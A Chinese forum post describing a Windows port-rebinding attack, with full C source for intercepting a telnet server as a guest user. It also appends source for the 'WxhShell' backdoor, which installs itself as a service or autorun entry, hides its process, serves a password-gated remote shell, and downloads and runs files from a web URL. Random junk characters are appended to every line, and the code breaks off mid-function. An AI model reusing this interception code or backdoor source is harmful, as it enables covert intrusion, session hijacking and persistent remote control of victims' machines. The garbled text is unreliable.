社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13987阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3 [#Rm>,Vu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (:]+IjnE  
tYgHJ~1L*  
  saddr.sin_family = AF_INET; DBGU:V,85  
K8&) kfyI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !ni 1 qM  
'cu14m_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oP T)vN?  
+tt!xfy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 : &nF>  
48S NI  
  这意味着什么?意味着可以进行如下的攻击: +2tFX  
# bjK]+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l['p^-I  
FzSL[S4i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Oc,HnyV+  
BK)<~I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0$b4\.0>~  
0nBDF79  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b)#rUI|O  
g9;s3qXiG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MtF^}/0w!`  
= [: E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z0v?3v}9^  
qnQ".  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @*|UyK.   
*:+ZEFMq  
  #include _u;pD-  
  #include R'vNJDFY  
  #include !?).4yr  
  #include    [+l6x1Am  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wKpb%3  
  int main() KiFTj$w,  
  { )/[L)-~y~  
  WORD wVersionRequested; XM"Qs.E  
  DWORD ret; j[mII5e7g  
  WSADATA wsaData; |c2sJyj*  
  BOOL val; l1`r%9gr  
  SOCKADDR_IN saddr; @(*A<2;N  
  SOCKADDR_IN scaddr; 3P>1-=  
  int err; =_ j<x$,b-  
  SOCKET s; Al@. KTK  
  SOCKET sc; 3*\Q]|SI!  
  int caddsize; r| ]YS6  
  HANDLE mt; WrRY 3X  
  DWORD tid;   .v}|Tp&k  
  wVersionRequested = MAKEWORD( 2, 2 ); {jwLVKT$  
  err = WSAStartup( wVersionRequested, &wsaData ); Zv@ Fr9m  
  if ( err != 0 ) { N5`z S79W  
  printf("error!WSAStartup failed!\n"); %CnNu  
  return -1; Qv'x+GVW]  
  } &tf(vU;,'  
  saddr.sin_family = AF_INET; Z'uiU e`&  
   A)j!Wgs^z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  ~H   
}kItVx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G;W2Z,  
  saddr.sin_port = htons(23); G9am}qr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oD9L5c)  
  { A n`*![  
  printf("error!socket failed!\n"); x@/:{B   
  return -1; F#) bGi  
  } ~#P]NWW%.  
  val = TRUE; fI<d&5&g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hosY`"X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]jiVe_ OS<  
  {  f}*:wj  
  printf("error!setsockopt failed!\n"); ]a uqf  
  return -1;   !\BM  
  } D:IG;Rsc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M=&,+#z<V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /J!:_Nq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KZ#\ >  
QS\wtTXj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AOKC1iD%Y  
  { FIVC~LDd  
  ret=GetLastError(); k.c.7%|~;  
  printf("error!bind failed!\n"); S3WUccv  
  return -1; 2P^qZDG 8I  
  } j`$$BVZ  
  listen(s,2); .L"IG=Uh#  
  while(1) $)X8'1%6  
  { u3,O)[qV  
  caddsize = sizeof(scaddr); Uey'c1  
  //接受连接请求 HOCj* O4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L@zhbWY  
  if(sc!=INVALID_SOCKET) /K1cP>oE  
  { h7T),UL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D `V.gV]  
  if(mt==NULL) u,d5/`E  
  { )u=W?5%=}  
  printf("Thread Creat Failed!\n"); y:Of~ ]9@  
  break; FINHO058^Y  
  } Gky^S#  
  } 0WSZhzNyY  
  CloseHandle(mt); $)8,dS  
  } aH @-"Wi  
  closesocket(s); R1w5,Zt  
  WSACleanup(); :{lP9%J-  
  return 0; B@6L<oZ  
  }   g*LD}`X/-  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8 Zp^/43  
  { b8YdONdy  
  SOCKET ss = (SOCKET)lpParam; Kdp($L9r  
  SOCKET sc; )$df6sq  
  unsigned char buf[4096]; 3/ }  
  SOCKADDR_IN saddr; m_Q&zp["  
  long num; c>>.>^5  
  DWORD val; 1^= QIX  
  DWORD ret; nu-&vX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g|$;jQ\_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \M._x"  
  saddr.sin_family = AF_INET; 3/Z>W|w#w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ez*QP|F*9  
  saddr.sin_port = htons(23); t:vBVDkD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > l0H)W  
  { #qDm)zCM  
  printf("error!socket failed!\n"); $of2lA  
  return -1; XM` H@s7  
  } yzzJKucVU:  
  val = 100; qnj'*]ysBC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |rZMcl/  
  { =EA:fq  
  ret = GetLastError(); oo7}Hg>  
  return -1; Yb/*2iWX  
  } 9`Fw}yAt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &TA{US3~  
  { ]Zc|<f;  
  ret = GetLastError(); 650qG$  
  return -1; ?8GS*I  
  } g; ] '  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PRTjXq6)5  
  { 1TGRIe)  
  printf("error!socket connect failed!\n"); *0eU_*A^zO  
  closesocket(sc); cY_ke  
  closesocket(ss); P}A!C9Frh  
  return -1; [?KGLUmTAI  
  } Q1?*+]  
  while(1) aVc{ aP  
  {  fPPP|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SZHgXl3:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YE{t?Y\5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *`Vmncv3  
  num = recv(ss,buf,4096,0); >,]8iMh  
  if(num>0) hdrsa}{g  
  send(sc,buf,num,0); DmLx"%H3  
  else if(num==0) A!x&,<  
  break; ]6)u$4X6$  
  num = recv(sc,buf,4096,0); OVe0{} j  
  if(num>0) ` K {k0_{  
  send(ss,buf,num,0); }F_c0zM  
  else if(num==0) KbvMp1'9P  
  break; Z CPUNtOl  
  } SFDTHvXu#_  
  closesocket(ss); Q zaD\^OF  
  closesocket(sc); f6`GU$H  
  return 0 ; kv3Dn&<rJ  
  } V<H9KA  
sAL ]N][Y  
31G0 B_T  
========================================================== d`B<\Y#{Us  
p T8?z  
下边附上一个代码,,WXhSHELL *$NZi*z3  
 xV5UaD<  
========================================================== P%(9`A  
IyyBW2  
#include "stdafx.h" o5F:U4sG  
`**{a/3  
#include <stdio.h> R54[U  
#include <string.h> X(nyTR8  
#include <windows.h> )&7. E  
#include <winsock2.h> ^Q$OzsEk  
#include <winsvc.h> ~RuX2u-2&u  
#include <urlmon.h> c!4F0(n4  
#[lhem]IC  
#pragma comment (lib, "Ws2_32.lib") G!r)N0?_f  
#pragma comment (lib, "urlmon.lib") &R_7]f+%)  
`9J9[!+!`  
#define MAX_USER   100 // 最大客户端连接数 gK[;"R)4o@  
#define BUF_SOCK   200 // sock buffer tZ9i/=S  
#define KEY_BUFF   255 // 输入 buffer !V37ePFje  
UGhEaKH~R  
#define REBOOT     0   // 重启 L#UR>Z#9  
#define SHUTDOWN   1   // 关机 +ZOiL[rS  
ob{'Z]-V  
#define DEF_PORT   5000 // 监听端口 '|^:,@8P9  
!`Rh2g*o9  
#define REG_LEN     16   // 注册表键长度 /;Tc]  
#define SVC_LEN     80   // NT服务名长度 ([u|j  
s.}K?)mH  
// 从dll定义API \7/yWd{N$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E s5: S#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'Be'!9K*d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `)n4I:)2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vi8A4  
:/;/mHG]  
// wxhshell配置信息 EE!}$qOR  
struct WSCFG { d7X&3L%Oq  
  int ws_port;         // 监听端口 K}R+~<bIY  
  char ws_passstr[REG_LEN]; // 口令 p%"dYH%]&0  
  int ws_autoins;       // 安装标记, 1=yes 0=no PX 8UVA  
  char ws_regname[REG_LEN]; // 注册表键名 r<e%;S  
  char ws_svcname[REG_LEN]; // 服务名 }#O!GG{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F`nQS&y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z nc(Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eyJ07  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GlAI~\A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p?:5 U[KM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1q;v|F  
Nujnm$!,Q  
}; =#b@7Yw:  
WKEb '^  
// default Wxhshell configuration dq[h:kYm  
struct WSCFG wscfg={DEF_PORT, \beO5]KS<  
    "xuhuanlingzhe", C8}:z\A_@Z  
    1, }9'`3vsJ  
    "Wxhshell", ~9dpB>+  
    "Wxhshell", L8QWEFB|  
            "WxhShell Service", "#j}F u_!  
    "Wrsky Windows CmdShell Service", B )r-,M  
    "Please Input Your Password: ", Q6@<7E]y  
  1, ^"/^)Lb!@M  
  "http://www.wrsky.com/wxhshell.exe", Cl}nP UoL  
  "Wxhshell.exe" Nz,yd%ua  
    }; 9B: 3Ha=  
DZ8|20b  
// 消息定义模块 ` R6`"hx$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \2i7\U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #&&T1;z"#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >1~ /:DJ  
char *msg_ws_ext="\n\rExit."; $1an#~  
char *msg_ws_end="\n\rQuit."; /8cRPB.  
char *msg_ws_boot="\n\rReboot..."; 0M_oFx  
char *msg_ws_poff="\n\rShutdown..."; x<NPp&GE  
char *msg_ws_down="\n\rSave to "; C9 n%!()>  
.V?:&_}_I6  
char *msg_ws_err="\n\rErr!"; &_ekA44E  
char *msg_ws_ok="\n\rOK!"; SA x9cjj+  
]k0 jmE  
char ExeFile[MAX_PATH]; x *eU~e_jP  
int nUser = 0; j9+$hu#a  
HANDLE handles[MAX_USER]; >gk_klLh  
int OsIsNt; +2~k Hrv  
(\9`$   
SERVICE_STATUS       serviceStatus; e#(Ck{e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X W)TI  
"ZuuSi  
// 函数声明 x*Lt]]A  
int Install(void); ff"wg\O4  
int Uninstall(void); tgK I  
int DownloadFile(char *sURL, SOCKET wsh); }htjT/Nm  
int Boot(int flag); 0lfK} a  
void HideProc(void); >H2`4]4]  
int GetOsVer(void); BX,)G HE  
int Wxhshell(SOCKET wsl); !'7fOP-J]  
void TalkWithClient(void *cs); #%0V`BS7n  
int CmdShell(SOCKET sock); gE-y`2SU  
int StartFromService(void); #WpkL]g2+%  
int StartWxhshell(LPSTR lpCmdLine); {meX2Z4  
K}V CFV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 157_0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \N>-+r  
<B"sp r&1  
// 数据结构和表定义 (q> TKM  
SERVICE_TABLE_ENTRY DispatchTable[] = 4q$~3C[  
{ a&y^Ps6=  
{wscfg.ws_svcname, NTServiceMain}, c7Z4u|G  
{NULL, NULL} C6_(j48&  
}; |?`5~f  
;?-AFd\i  
// 自我安装 hvd}l8  
int Install(void) 24mdhT|  
{ &1xCPKIr  
  char svExeFile[MAX_PATH]; xvr5$x|h  
  HKEY key; 2ej7Ql_@c  
  strcpy(svExeFile,ExeFile); <qCa 9@Ea  
(!os &/",  
// 如果是win9x系统,修改注册表设为自启动 lq/2Y4LE)  
if(!OsIsNt) { [m t.2.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pm&TH d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ac7^JXh%  
  RegCloseKey(key); 1^p/#jt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iTVe8eI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I$n= >s  
  RegCloseKey(key); Y Y:Bw W:  
  return 0; f& 4_:'-,  
    } CT|+?  
  } V|7YRa@  
} L+%"e w  
else { ) nfoDG#O  
=P- &dN  
// 如果是NT以上系统,安装为系统服务 `+J Fvn!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P:qmg"i@3  
if (schSCManager!=0) !*IMWm>  
{ T5BZD +Ta  
  SC_HANDLE schService = CreateService G7-BeA8  
  ( I$Nh|eM  
  schSCManager, l.[pnLD  
  wscfg.ws_svcname, CI|lJ  
  wscfg.ws_svcdisp, +Q*`kg'  
  SERVICE_ALL_ACCESS, !,WGd|oJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TBhM^\z  
  SERVICE_AUTO_START, 30Yis_l2h  
  SERVICE_ERROR_NORMAL, bdUPo+  
  svExeFile, g8),$:Uw  
  NULL, bQll;U^A  
  NULL, ?Cq7_rq  
  NULL, ntiS7g e1  
  NULL, ZO}Og&%  
  NULL l?Y^3x}j  
  ); q>q:ZV  
  if (schService!=0) 0bNvmZ$  
  { D)_ C@*q  
  CloseServiceHandle(schService); Rd?}<L  
  CloseServiceHandle(schSCManager); #c!:&9oU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nz{dnV{&x;  
  strcat(svExeFile,wscfg.ws_svcname); rCyb3,W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4 23zX6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^\)a[OWp  
  RegCloseKey(key); bIKg>U'5d  
  return 0; o3ZN0j69|  
    } 'Pz%c}hJ  
  } _Fb}zPU!  
  CloseServiceHandle(schSCManager); JFq wC=-  
} #XV=,81w  
} Er~17$b  
8 WP>u8&  
return 1; $o6/dEKQ  
} Urj*V0^  
N,ht<l\  
// 自我卸载 > =>/~dIb  
int Uninstall(void) I8F+Z  
{ ] !UYl  
  HKEY key; ~iw&^p|=K  
J=V  
if(!OsIsNt) { gmTBT#{6yH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \}-4(Xdaq  
  RegDeleteValue(key,wscfg.ws_regname); y)f.ON36I  
  RegCloseKey(key); !`ol&QQ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \?bV\/GBR  
  RegDeleteValue(key,wscfg.ws_regname); D+8d^-:  
  RegCloseKey(key);  urp|@WZ  
  return 0; `s}*  
  } c,UJ uCZ  
} ?0b-fL^^+l  
} " T(hcI   
else { >nSsbhAe  
SNEhP5!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J5@08 bZm  
if (schSCManager!=0) pA7-B>Y  
{ ^df wWP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z['.RF'`  
  if (schService!=0) +^I0> \  
  { GqFx^dY4*  
  if(DeleteService(schService)!=0) { &K[*vyD  
  CloseServiceHandle(schService); 5 s7BUT  
  CloseServiceHandle(schSCManager); 4Z)4WGp!  
  return 0; N'^>pSc4W|  
  } dQut8>0&  
  CloseServiceHandle(schService); '1<Z"InU  
  } nx9PNl@?V  
  CloseServiceHandle(schSCManager); zVhyAf  
} 570Xk\R@M  
} jiI=tg;  
# @\3{;{R  
return 1; wcHk]mLM  
} FOaA}D `]  
gv!8' DKn  
// 从指定url下载文件 mrGV{{.  
int DownloadFile(char *sURL, SOCKET wsh) -15e  
{ 01bCP  
  HRESULT hr; 2Gyq40  
char seps[]= "/"; MB}nn&u#  
char *token;  yCX5 5:  
char *file; l\U Q2i  
char myURL[MAX_PATH]; 37bMe@W  
char myFILE[MAX_PATH]; Iil2R}1  
WR+j?Fcf  
strcpy(myURL,sURL); Wzq W1<*`  
  token=strtok(myURL,seps); 5C w( 4.  
  while(token!=NULL) p^l#Wq5  
  { uH_KOiF  
    file=token; '.}}k!#  
  token=strtok(NULL,seps); w7)pBsI  
  } sA0 Ho6  
zI88IM7/  
GetCurrentDirectory(MAX_PATH,myFILE); !E7gI qo  
strcat(myFILE, "\\"); l9p  6I  
strcat(myFILE, file); o<g?*"TRh  
  send(wsh,myFILE,strlen(myFILE),0); /%$Zm^8c  
send(wsh,"...",3,0); LUbhTc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +cpb!YEAb  
  if(hr==S_OK) 1nVQYqT_  
return 0; 2g(_Kdj*{  
else qLR;:$]Q&8  
return 1; +in)(a.  
?pL|eS7  
} tX*@r  
B=Hd:P|  
// 系统电源模块 UlXm4\@  
int Boot(int flag) 9~ p;iiKGG  
{ EPo)7<|>  
  HANDLE hToken; Z bRRDXk!  
  TOKEN_PRIVILEGES tkp; )1<0c@g=  
PW*Vfjf4  
  if(OsIsNt) { A#>wbHjWF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5- dt0I@<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -:}vf?  
    tkp.PrivilegeCount = 1; o)Q4+njT@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XY0kd&N8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;W0J  
if(flag==REBOOT) { 0'&C5v'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g%2G=gR$?z  
  return 0; ra^</o/  
} 2 BY|Cp4R  
else { b"g^Jm! j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G<Z}G8FW^  
  return 0; \Z*:l(  
} jAQ{H  
  } D5zc{) /  
  else { 92-Xz6Bo9  
if(flag==REBOOT) { $W._FAAJ#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -e_fn&2,Y  
  return 0; &{)<Q(g  
} [*%lm9 x  
else { T! }G51  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /N0mF< P  
  return 0; +o+f\!  
} K#FD$,c~  
} L1IF$eC  
1$Up7=Dr=  
return 1; A-x^JC=  
} 81RuNs]  
mF gqM:  
// win9x进程隐藏模块 dJ"44Wu+J  
void HideProc(void) r*HSi.'21  
{ cT(nKHL  
Gm+D1l i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ff9m_P  
  if ( hKernel != NULL ) -J]?M  
  { 0GMb?/   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /cS8@)e4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \mF-L,yu  
    FreeLibrary(hKernel); <XL%*  
  } 6 `6 I<OJ\  
|dIR v  
return; ;5X6`GlS#5  
} +;,{`*W+N  
'[ c-$X2Ak  
// 获取操作系统版本 ^P^"t^O  
int GetOsVer(void) AA-$;s  
{ <h(AJX7wsD  
  OSVERSIONINFO winfo; fWP]{z`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cfmwz~S6i  
  GetVersionEx(&winfo); f:j:L79}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yf{\^^ i(  
  return 1; %+r(*Q+0$f  
  else \:'GAByy  
  return 0; hu-]SGb6  
} hl]d99Lc  
Dw=L]i :0v  
// 客户端句柄模块 #kQ! GMZH  
int Wxhshell(SOCKET wsl) TjpyU:R,&|  
{ IO7z}![V;  
  SOCKET wsh; DzC`yWstP  
  struct sockaddr_in client; q~>!_q]FE  
  DWORD myID; FC 8<D  
zB m~J%  
  while(nUser<MAX_USER) Vc\g"1 x  
{ clDn=k<  
  int nSize=sizeof(client); mjOxmwo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ['QhC({  
  if(wsh==INVALID_SOCKET) return 1; 2tU3p<[  
:M6|V_Yp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /@"mQx~[q  
if(handles[nUser]==0) k r$)nf  
  closesocket(wsh); =u0=)\0@r  
else "'B DVxp'w  
  nUser++; r6j[C"@  
  } ,WdSJ BK'a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); + s}!+I8 P  
D[W ` q#W  
  return 0; JKKp5~_~  
} w !kk(QMV  
+sJ{9#6  
// 关闭 socket fe\'N4  
void CloseIt(SOCKET wsh) 8y<mHJ[B  
{ }[%F  
closesocket(wsh); %2RXrH2&H  
nUser--; mAH7; u<  
ExitThread(0); 9f['TG,"  
} v~RxtTu  
QM!UMqdj  
// 客户端请求句柄 yS)k"XNb  
void TalkWithClient(void *cs)  WLWfe-  
{ i<&z'A6&]*  
=ZHN]PP  
  SOCKET wsh=(SOCKET)cs; yI=nu53BV  
  char pwd[SVC_LEN]; T7YJC,^m  
  char cmd[KEY_BUFF]; :Gz$(!j1.'  
char chr[1]; h-.^*=]R6  
int i,j; -/3h&g  
lBn<\Y!^  
  while (nUser < MAX_USER) { !B[ Y?b:  
e_Zs4\^ef  
if(wscfg.ws_passstr) { <S_0=U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [YQtX_;w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oCwep^P(v  
  //ZeroMemory(pwd,KEY_BUFF); ;E}&{w/My  
      i=0; "-fyX!  
  while(i<SVC_LEN) { &=zJ MGa  
0"-H34M <D  
  // 设置超时 D _\HX9  
  fd_set FdRead; x1 LI&  
  struct timeval TimeOut; AsS~TLG9p  
  FD_ZERO(&FdRead); 'bv(T2d~~  
  FD_SET(wsh,&FdRead); 4o''C |ND  
  TimeOut.tv_sec=8; qZQm*q(jM  
  TimeOut.tv_usec=0; B'Nvl#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?@A@;`0Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @#"K6  
 :A#'8xE/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6o#J  
  pwd=chr[0]; ;8F6a:\v  
  if(chr[0]==0xd || chr[0]==0xa) { =M{&g  
  pwd=0; wQ-BY"cK\  
  break; KW0KXO06a  
  } c5CxR#O  
  i++; a"+VP>4  
    } b6g9!  
9~,!+#  
  // 如果是非法用户,关闭 socket i(u zb<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); : Q,O:  
} Z(E .F,k  
bz&9]% S<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HVC|0}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :U1V 2f'l3  
R^E-9S\@  
while(1) { WUDXx %  
PC=s:`Y}R  
  ZeroMemory(cmd,KEY_BUFF); 4pDZ +}p  
Kd#64NSi$A  
      // 自动支持客户端 telnet标准   PHsM)V+  
  j=0; NFU=PS$  
  while(j<KEY_BUFF) { G4F~V't  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D -e^b'l  
  cmd[j]=chr[0]; 4!glgEE*  
  if(chr[0]==0xa || chr[0]==0xd) {  z_C7=ga<  
  cmd[j]=0; Cn9MboXX  
  break; */]1?M@P)  
  } =0@o(#gM  
  j++; Mi!ak  
    } ']Km%uwL  
3e[k9`  
  // 下载文件 [xs`Pi  
  if(strstr(cmd,"http://")) { jaTCRn3|<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7")&njQ/x  
  if(DownloadFile(cmd,wsh)) ^-}3 +YA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]lD*3b  
  else a 8jG')zg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oRn5blj  
  } gn 9CZ  
  else { yErvgf  
'bef3P9`  
    switch(cmd[0]) { .|ZnU]~T  
  6Hpj&Qm  
  // 帮助 (+\K  
  case '?': { 4_eFc$^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =2wy;@f  
    break; x(zW<J5X"  
  } iL IKrU+`  
  // 安装 (i'wa6[E8  
  case 'i': { J0Y-e39 `  
    if(Install()) d #-<=6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?y{"OuRf.  
    else H~qY7t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :n?}G0y  
    break; !P)7t`X  
    } ffQ&1T<  
  // 卸载 H Lt;1:b  
  case 'r': { E}w<-]8  
    if(Uninstall()) PI" )^`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *!(?=9[  
    else p4zV<qZ>e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q->46{s|  
    break; X/wqfP  
    } [C~{g#  
  // 显示 wxhshell 所在路径 jr5x!@rb  
  case 'p': { W/R-~C e  
    char svExeFile[MAX_PATH]; fm% Y*<Y"  
    strcpy(svExeFile,"\n\r"); Y)4D$9:  
      strcat(svExeFile,ExeFile); ~oBSf+N  
        send(wsh,svExeFile,strlen(svExeFile),0); KWV{wW=-  
    break; }%-`CJ,  
    } vCNYqa)m:  
  // 重启 jZY9Lx8o  
  case 'b': { ;c>Rjg&[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u"n ~ 9!G  
    if(Boot(REBOOT)) 4~r=[|(aY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \E<)B#  
    else { My'6 yQL  
